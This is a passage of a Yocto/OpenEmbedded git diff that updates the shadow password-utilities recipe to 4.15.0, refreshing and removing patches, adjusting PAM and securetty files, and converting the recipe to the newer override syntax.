- #ifdef ENABLE_SUBIDS
- "v:w:V:W:"
- #endif /* ENABLE_SUBIDS */
-@@ -1130,9 +1132,17 @@ static void process_flags (int argc, char **argv)
- user_pass = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if (!VALID (optarg)) {
-@@ -2127,7 +2137,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("usermod");
- #ifdef WITH_AUDIT
diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
index 9825216369..cd99aad135 100644
--- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
+++ b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
@@ -1,4 +1,4 @@
-From 66533c7c6f347d257020675a1ed6e0c59cbbc3f0 Mon Sep 17 00:00:00 2001
+From f512071dd3a4c29d4bf048c5a89c4ba9160e37b1 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Thu, 17 Jul 2014 15:53:34 +0800
Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env
@@ -15,32 +15,31 @@ Note that this patch doesn't change the logic in the code, it just expands
the codes.
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
---
lib/commonio.c | 16 ++++++++++++----
1 file changed, 12 insertions(+), 4 deletions(-)
diff --git a/lib/commonio.c b/lib/commonio.c
-index 16fa7e7..d6bc297 100644
+index 01a26c9..82b2868 100644
--- a/lib/commonio.c
+++ b/lib/commonio.c
-@@ -632,10 +632,18 @@ int commonio_open (struct commonio_db *db, int mode)
+@@ -601,10 +601,18 @@ int commonio_open (struct commonio_db *db, int mode)
db->cursor = NULL;
db->changed = false;
- fd = open (db->filename,
- (db->readonly ? O_RDONLY : O_RDWR)
-- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
+- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
- saved_errno = errno;
+ if (db->readonly) {
+ fd = open (db->filename,
+ (true ? O_RDONLY : O_RDWR)
-+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
++ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
+ saved_errno = errno;
+ } else {
+ fd = open (db->filename,
+ (false ? O_RDONLY : O_RDWR)
-+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
++ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW| O_CLOEXEC);
+ saved_errno = errno;
+ }
+
diff --git a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
index 8a68dd341a..09df77d2e7 100644
--- a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
+++ b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: BSD-3-Clause OR Artistic-1.0
#
# /etc/login.defs - Configuration control definitions for the shadow package.
#
diff --git a/meta/recipes-extended/shadow/files/pam.d/login b/meta/recipes-extended/shadow/files/pam.d/login
index b340058539..d39e09b1ea 100644
--- a/meta/recipes-extended/shadow/files/pam.d/login
+++ b/meta/recipes-extended/shadow/files/pam.d/login
@@ -57,10 +57,6 @@ auth optional pam_group.so
# (Replaces the use of /etc/limits in old login)
session required pam_limits.so
-# Prints the last login info upon succesful login
-# (Replaces the `LASTLOG_ENAB' option from login.defs)
-session optional pam_lastlog.so
-
# Prints the motd upon succesful login
# (Replaces the `MOTD_FILE' option in login.defs)
session optional pam_motd.so
diff --git a/meta/recipes-extended/shadow/files/securetty b/meta/recipes-extended/shadow/files/securetty
index 2be341a216..820728faa6 100644
--- a/meta/recipes-extended/shadow/files/securetty
+++ b/meta/recipes-extended/shadow/files/securetty
@@ -7,6 +7,7 @@ ttyS0
ttyS1
ttyS2
ttyS3
+ttyS4
# ARM AMBA SoCs
ttyAM0
diff --git a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch b/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
deleted file mode 100644
index a7bb0a9290..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-# commit message copied from openembedded:
-# commit 246c80637b135f3a113d319b163422f98174ee6c
-# Author: Khem Raj <raj.khem@gmail.com>
-# Date: Wed Jun 9 13:37:03 2010 -0700
-#
-# shadow-4.1.4.2: Add patches to support dots in login id.
-#
-# Signed-off-by: Khem Raj <raj.khem@gmail.com>
-#
-# comment added by Kevin Tian <kevin.tian@intel.com>, 2010-08-11
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-Index: shadow-4.1.4.2/libmisc/chkname.c
-===================================================================
---- shadow-4.1.4.2.orig/libmisc/chkname.c 2009-04-28 12:14:04.000000000 -0700
-+++ shadow-4.1.4.2/libmisc/chkname.c 2010-06-03 17:43:20.638973857 -0700
-@@ -61,6 +61,7 @@ static bool is_valid_name (const char *n
- ( ('0' <= *name) && ('9' >= *name) ) ||
- ('_' == *name) ||
- ('-' == *name) ||
-+ ('.' == *name) ||
- ( ('$' == *name) && ('\0' == *(name + 1)) )
- )) {
- return false;
diff --git a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch b/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
deleted file mode 100644
index cc833362e9..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
+++ /dev/null
@@ -1,111 +0,0 @@
-From ca472d6866e545aaa70a70020e3226f236a8aafc Mon Sep 17 00:00:00 2001
-From: Shan Hai <shan.hai@windriver.com>
-Date: Tue, 13 Sep 2016 13:45:46 +0800
-Subject: [PATCH] shadow: use relaxed usernames
-
-The groupadd from shadow does not allow upper case group names, the
-same is true for the upstream shadow. But distributions like
-Debian/Ubuntu/CentOS has their own way to cope with this problem,
-this patch is picked up from CentOS release 7.0 to relax the usernames
-restrictions to allow the upper case group names, and the relaxation is
-POSIX compliant because POSIX indicate that usernames are composed of
-characters from the portable filename character set [A-Za-z0-9._-].
-
-Upstream-Status: Pending
-
-Signed-off-by: Shan Hai <shan.hai@windriver.com>
-
----
- libmisc/chkname.c | 30 ++++++++++++++++++------------
- man/groupadd.8.xml | 6 ------
- man/useradd.8.xml | 8 +-------
- 3 files changed, 19 insertions(+), 25 deletions(-)
-
-diff --git a/libmisc/chkname.c b/libmisc/chkname.c
-index 90f185c..65762b4 100644
---- a/libmisc/chkname.c
-+++ b/libmisc/chkname.c
-@@ -55,22 +55,28 @@ static bool is_valid_name (const char *name)
- }
-
- /*
-- * User/group names must match [a-z_][a-z0-9_-]*[$]
-- */
--
-- if (('\0' == *name) ||
-- !((('a' <= *name) && ('z' >= *name)) || ('_' == *name))) {
-+ * User/group names must match gnu e-regex:
-+ * [a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?
-+ *
-+ * as a non-POSIX, extension, allow "$" as the last char for
-+ * sake of Samba 3.x "add machine script"
-+ */
-+ if ( ('\0' == *name) ||
-+ !((*name >= 'a' && *name <= 'z') ||
-+ (*name >= 'A' && *name <= 'Z') ||
-+ (*name >= '0' && *name <= '9') ||
-+ (*name == '_') || (*name == '.')
-+ )) {
- return false;
- }
-
- while ('\0' != *++name) {
-- if (!(( ('a' <= *name) && ('z' >= *name) ) ||
-- ( ('0' <= *name) && ('9' >= *name) ) ||
-- ('_' == *name) ||
-- ('-' == *name) ||
-- ('.' == *name) ||
-- ( ('$' == *name) && ('\0' == *(name + 1)) )
-- )) {
-+ if (!( (*name >= 'a' && *name <= 'z') ||
-+ (*name >= 'A' && *name <= 'Z') ||
-+ (*name >= '0' && *name <= '9') ||
-+ (*name == '_') || (*name == '.') || (*name == '-') ||
-+ (*name == '$' && *(name + 1) == '\0')
-+ )) {
- return false;
- }
- }
-diff --git a/man/groupadd.8.xml b/man/groupadd.8.xml
-index 1e58f09..d804b61 100644
---- a/man/groupadd.8.xml
-+++ b/man/groupadd.8.xml
-@@ -272,12 +272,6 @@
-
- <refsect1 id='caveats'>
- <title>CAVEATS</title>
-- <para>
-- Groupnames must start with a lower case letter or an underscore,
-- followed by lower case letters, digits, underscores, or dashes.
-- They can end with a dollar sign.
-- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
-- </para>
- <para>
- Groupnames may only be up to &GROUP_NAME_MAX_LENGTH; characters long.
- </para>
-diff --git a/man/useradd.8.xml b/man/useradd.8.xml
-index a16d730..c0bd777 100644
---- a/man/useradd.8.xml
-+++ b/man/useradd.8.xml
-@@ -366,7 +366,7 @@
- </term>
- <listitem>
- <para>
-- Do no create the user's home directory, even if the system
-+ Do not create the user's home directory, even if the system
- wide setting from <filename>/etc/login.defs</filename>
- (<option>CREATE_HOME</option>) is set to
- <replaceable>yes</replaceable>.
-@@ -660,12 +660,6 @@
- the user account creation request.
- </para>
-
-- <para>
-- Usernames must start with a lower case letter or an underscore,
-- followed by lower case letters, digits, underscores, or dashes.
-- They can end with a dollar sign.
-- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
-- </para>
- <para>
- Usernames may only be up to 32 characters long.
- </para>
diff --git a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
index 15f8044fa2..1eacb8a53f 100644
--- a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
+++ b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
@@ -1,88 +1,115 @@
+From 38882ab288fd4d2cc2e45dff222ae3412c8fe357 Mon Sep 17 00:00:00 2001
+From: Kang Kai <kai.kang@windriver.com>
+Date: Wed, 20 Jul 2011 19:18:14 +0800
+Subject: [PATCH] shadow: update pam related configure files
+
The system-auth in the configure files is from Fedora which put all the 4 pam type rules
in one file.
In yocto it obey the way with Debian/Ubuntu, and the names are common-auth, common-account,
common-password and common-session.
So update them with oe way.
-Upstream-Status: Pending
+See meta/recipes-extended/pam/libpam/pam.d/common-password
+
+Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Kang Kai <kai.kang@windriver.com>
+---
+ etc/pam.d/chage | 2 +-
+ etc/pam.d/chgpasswd | 2 +-
+ etc/pam.d/groupadd | 2 +-
+ etc/pam.d/groupdel | 2 +-
+ etc/pam.d/groupmems | 2 +-
+ etc/pam.d/groupmod | 2 +-
+ etc/pam.d/useradd | 2 +-
+ etc/pam.d/userdel | 2 +-
+ etc/pam.d/usermod | 2 +-
+ 9 files changed, 9 insertions(+), 9 deletions(-)
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chage shadow-4.1.4.3/etc/pam.d/chage
---- shadow-4.1.4.3/etc/pam.d.orig/chage 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/chage 2011-07-20 19:03:08.964844958 +0800
+diff --git a/etc/pam.d/chage b/etc/pam.d/chage
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/chage
++++ b/etc/pam.d/chage
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chgpasswd shadow-4.1.4.3/etc/pam.d/chgpasswd
---- shadow-4.1.4.3/etc/pam.d.orig/chgpasswd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/chgpasswd 2011-07-20 19:03:26.544844958 +0800
+diff --git a/etc/pam.d/chgpasswd b/etc/pam.d/chgpasswd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/chgpasswd
++++ b/etc/pam.d/chgpasswd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupadd shadow-4.1.4.3/etc/pam.d/groupadd
---- shadow-4.1.4.3/etc/pam.d.orig/groupadd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupadd 2011-07-20 19:04:08.124844958 +0800
+diff --git a/etc/pam.d/groupadd b/etc/pam.d/groupadd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupadd
++++ b/etc/pam.d/groupadd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupdel shadow-4.1.4.3/etc/pam.d/groupdel
---- shadow-4.1.4.3/etc/pam.d.orig/groupdel 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupdel 2011-07-20 19:04:26.114844958 +0800
+diff --git a/etc/pam.d/groupdel b/etc/pam.d/groupdel
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupdel
++++ b/etc/pam.d/groupdel
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmems shadow-4.1.4.3/etc/pam.d/groupmems
---- shadow-4.1.4.3/etc/pam.d.orig/groupmems 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupmems 2011-07-20 19:04:35.074844958 +0800
+diff --git a/etc/pam.d/groupmems b/etc/pam.d/groupmems
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupmems
++++ b/etc/pam.d/groupmems
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmod shadow-4.1.4.3/etc/pam.d/groupmod
---- shadow-4.1.4.3/etc/pam.d.orig/groupmod 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupmod 2011-07-20 19:04:44.864844958 +0800
+diff --git a/etc/pam.d/groupmod b/etc/pam.d/groupmod
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupmod
++++ b/etc/pam.d/groupmod
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/useradd shadow-4.1.4.3/etc/pam.d/useradd
---- shadow-4.1.4.3/etc/pam.d.orig/useradd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/useradd 2011-07-20 19:07:26.244844958 +0800
+diff --git a/etc/pam.d/useradd b/etc/pam.d/useradd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/useradd
++++ b/etc/pam.d/useradd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/userdel shadow-4.1.4.3/etc/pam.d/userdel
---- shadow-4.1.4.3/etc/pam.d.orig/userdel 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/userdel 2011-07-20 19:07:35.734844958 +0800
+diff --git a/etc/pam.d/userdel b/etc/pam.d/userdel
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/userdel
++++ b/etc/pam.d/userdel
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/usermod shadow-4.1.4.3/etc/pam.d/usermod
---- shadow-4.1.4.3/etc/pam.d.orig/usermod 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/usermod 2011-07-20 19:07:42.024844958 +0800
+diff --git a/etc/pam.d/usermod b/etc/pam.d/usermod
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/usermod
++++ b/etc/pam.d/usermod
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd
new file mode 100644
index 0000000000..782aeef418
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/useradd
@@ -0,0 +1,8 @@
+# useradd defaults file
+GROUP=100
+HOME=/home
+INACTIVE=-1
+EXPIRE=
+SHELL=/bin/sh
+SKEL=/etc/skel
+CREATE_MAIL_SPOOL=no
diff --git a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
index c78f888cf4..fe51ea1874 100644
--- a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
@@ -5,7 +5,6 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
INHIBIT_DEFAULT_DEPS = "1"
-PR = "r3"
SRC_URI = "file://securetty"
diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
index a8c1539c92..00ab58b38c 100644
--- a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
@@ -2,12 +2,11 @@ SUMMARY = "Shadow utils requirements for useradd.bbclass"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base utils"
-LICENSE = "BSD | Artistic-1.0"
-LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;md5=25e2f2de4dfc8f966ac5cdfce45cd7d5"
+LICENSE = "BSD-3-Clause | Artistic-1.0"
+LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;endline=1;md5=ceddfb61608e4db87012499555184aed"
DEPENDS = "base-passwd"
-PR = "r3"
# The sole purpose of this recipe is to provide the /etc/login.defs
# file for the target sysroot - needed so the shadow-native utilities
@@ -27,3 +26,5 @@ SYSROOT_DIRS += "${sysconfdir}"
# otherwise: dbus-dev depends on shadow-sysroot-dev which depends on shadow-sysroot
# and this has another copy of /etc/login.defs already provided by shadow
PACKAGES = ""
+
+inherit nopackages
diff --git a/meta/recipes-extended/shadow/shadow.inc b/meta/recipes-extended/shadow/shadow.inc
index f86e5e03c0..c15715fc77 100644
--- a/meta/recipes-extended/shadow/shadow.inc
+++ b/meta/recipes-extended/shadow/shadow.inc
@@ -1,36 +1,31 @@
SUMMARY = "Tools to change and administer password and group data"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
+DESCRIPTION = "${SUMMARY}"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base/utils"
-LICENSE = "BSD | Artistic-1.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ed80ff1c2b40843cf5768e5229cf16e5 \
- file://src/passwd.c;beginline=2;endline=30;md5=5720ff729a6ff39ecc9f64555d75f4af"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c9a450b7be84eac23e6353efecb60b5b \
+ file://src/passwd.c;beginline=2;endline=7;md5=67bcf314687820b2f010d4863fce3fc5 \
+ "
DEPENDS = "virtual/crypt"
-UPSTREAM_CHECK_URI = "https://github.com/shadow-maint/shadow/releases"
-SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/${PV}/${BP}.tar.gz \
- file://shadow-4.1.3-dots-in-usernames.patch \
+GITHUB_BASE_URI = "https://github.com/shadow-maint/shadow/releases"
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.gz \
+ file://0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch \
${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://shadow-relaxed-usernames.patch \
+ file://useradd \
"
-SRC_URI_append_class-target = " \
+SRC_URI:append:class-target = " \
file://login_defs_pam.sed \
file://shadow-update-pam-conf.patch \
"
-SRC_URI_append_class-native = " \
- file://0001-Disable-use-of-syslog-for-sysroot.patch \
- file://0002-Allow-for-setting-password-in-clear-text.patch \
+SRC_URI:append:class-native = " \
file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \
"
-SRC_URI_append_class-nativesdk = " \
- file://0001-Disable-use-of-syslog-for-sysroot.patch \
- "
-
-SRC_URI[md5sum] = "3d97f11e66bfb0b14702b115fa8be480"
-SRC_URI[sha256sum] = "3ee3081fbbcbcfea5c8916419e46bc724807bab271072104f23e7a29e9668f3a"
+SRC_URI[sha256sum] = "377fe0d7c1a0aa5e3514c08fdf5ddc70c9dcbb391678c2134445ed97326bcc26"
# Additional Policy files for PAM
PAM_SRC_URI = "file://pam.d/chfn \
@@ -41,22 +36,22 @@ PAM_SRC_URI = "file://pam.d/chfn \
file://pam.d/passwd \
file://pam.d/su"
-inherit autotools gettext
+inherit autotools gettext github-releases pkgconfig
export CONFIG_SHELL="/bin/sh"
-EXTRA_OECONF += "--without-audit \
- --without-libcrack \
- --without-selinux \
+EXTRA_OECONF += " \
--with-group-name-max-length=24 \
--enable-subordinate-ids=yes \
--without-sssd \
${NSCDOPT}"
+CFLAGS:append:libc-musl = " -DLIBBSD_OVERLAY"
+
NSCDOPT = ""
-NSCDOPT_class-native = "--without-nscd"
-NSCDOPT_class-nativesdk = "--without-nscd"
-NSCDOPT_libc-glibc = "--with-nscd"
+NSCDOPT:class-native = "--without-nscd"
+NSCDOPT:class-nativesdk = "--without-nscd"
+NSCDOPT:libc-glibc = "--with-nscd"
PAM_PLUGINS = "libpam-runtime \
pam-plugin-faildelay \
@@ -65,7 +60,6 @@ PAM_PLUGINS = "libpam-runtime \
pam-plugin-env \
pam-plugin-group \
pam-plugin-limits \
- pam-plugin-lastlog \
pam-plugin-motd \
pam-plugin-mail \
pam-plugin-shells \
@@ -73,17 +67,21 @@ PAM_PLUGINS = "libpam-runtime \
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} libbsd"
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}"
PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl"
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage"
+PACKAGECONFIG[libbsd] = "--with-libbsd,--without-libbsd,libbsd"
+PACKAGECONFIG[logind] = "--enable-logind,--disable-logind,systemd"
-RDEPENDS_${PN} = "shadow-securetty \
+RDEPENDS:${PN} = "shadow-securetty \
base-passwd \
util-linux-sulogin"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
do_install() {
oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install
@@ -112,15 +110,11 @@ do_install() {
# Use proper encryption for passwords
sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs
- # Now we don't have a mail system. Disable mail creation for now.
- sed -i 's:/bin/bash:/bin/sh:g' ${D}${sysconfdir}/default/useradd
- sed -i '/^CREATE_MAIL_SPOOL/ s:^:#:' ${D}${sysconfdir}/default/useradd
-
- # Use users group by default
- sed -i 's,^GROUP=1000,GROUP=100,g' ${D}${sysconfdir}/default/useradd
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/useradd ${D}${sysconfdir}/default
}
-do_install_append() {
+do_install:append() {
# Ensure that the image has as a /var/spool/mail dir so shadow can
# put mailboxes there if the user reconfigures shadow to its
# defaults (see sed below).
@@ -150,10 +144,40 @@ do_install_append() {
# Handle link properly after rename, otherwise missing files would
# lead rpm failed dependencies.
ln -sf newgrp.${BPN} ${D}${bindir}/sg
+
+ # usermod requires the subuid/subgid files to be in place before being
+ # able to use the -v/-V flags otherwise it fails:
+ # usermod: /etc/subuid does not exist, you cannot use the flags -v or -V
+ install -d ${D}${sysconfdir}
+ touch ${D}${sysconfdir}/subuid
+ touch ${D}${sysconfdir}/subgid
+}
+
+# Make executables look for dynamically linked libraries in a custom location, and install
+# the needed libraries there. That way we can use them from sstate
+# in setscene tasks without worrying about the dependency libraries being available.
+do_install:append:class-native() {
+ binaries=$(find ${D}${base_bindir}/ ${D}${base_sbindir}/ ${D}${bindir}/ ${D}${sbindir}/ -executable -type f)
+ chrpath -k -r ${STAGING_DIR_NATIVE}/lib-shadow-deps $binaries
+ mkdir -p ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+ libattr=${@bb.utils.contains('DISTRO_FEATURES', 'xattr', "${STAGING_LIBDIR_NATIVE}/libattr.so.*", '', d)}
+ install $libattr ${STAGING_LIBDIR_NATIVE}/libbsd.so.* ${STAGING_LIBDIR_NATIVE}/libmd.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+ install ${D}${libdir}/*.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+}
+
+SYSROOT_DIRS:append:class-native = " ${STAGING_DIR_NATIVE}/lib-shadow-deps/"
+INSANE_SKIP:${PN}:class-native = "already-stripped"
+
+do_install:append:class-nativesdk() {
+ oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
+}
+
+do_install:append:class-target() {
+ oe_runmake -C ${B}/man DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install-man
}
PACKAGES =+ "${PN}-base"
-FILES_${PN}-base = "\
+FILES:${PN}-base = "\
${base_bindir}/login.shadow \
${base_bindir}/su.shadow \
${bindir}/sg \
@@ -163,31 +187,30 @@ FILES_${PN}-base = "\
${sysconfdir}/pam.d/su \
${sysconfdir}/login.defs \
"
-RDEPENDS_${PN} += "${PN}-base"
+RDEPENDS:${PN} += "${PN}-base"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd"
ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw"
ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr"
ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_${PN}-base = "newgrp groups login su"
+ALTERNATIVE:${PN}-doc = "chfn.1 chsh.1"
+ALTERNATIVE_LINK_NAME[chfn.1] = "${mandir}/man1/chfn.1"
+ALTERNATIVE_LINK_NAME[chsh.1] = "${mandir}/man1/chsh.1"
+
+ALTERNATIVE:${PN}-base = "newgrp groups login su"
ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login"
ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_${PN}-doc = "passwd.5 getspnam.3 groups.1 su.1 nologin.8"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-
PACKAGE_WRITE_DEPS += "shadow-native"
-pkg_postinst_${PN}_class-target () {
+pkg_postinst:${PN}:class-target () {
if [ "x$D" != "x" ]; then
rootarg="--root $D"
else
diff --git a/meta/recipes-extended/shadow/shadow_4.15.0.bb b/meta/recipes-extended/shadow/shadow_4.15.0.bb
new file mode 100644
index 0000000000..e57676c1da
--- /dev/null
+++ b/meta/recipes-extended/shadow/shadow_4.15.0.bb
@@ -0,0 +1,10 @@
+require shadow.inc
+
+# Build falsely assumes that if --enable-libpam is set, we don't need to link against
+# libcrypt. This breaks chsh.
+BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
+
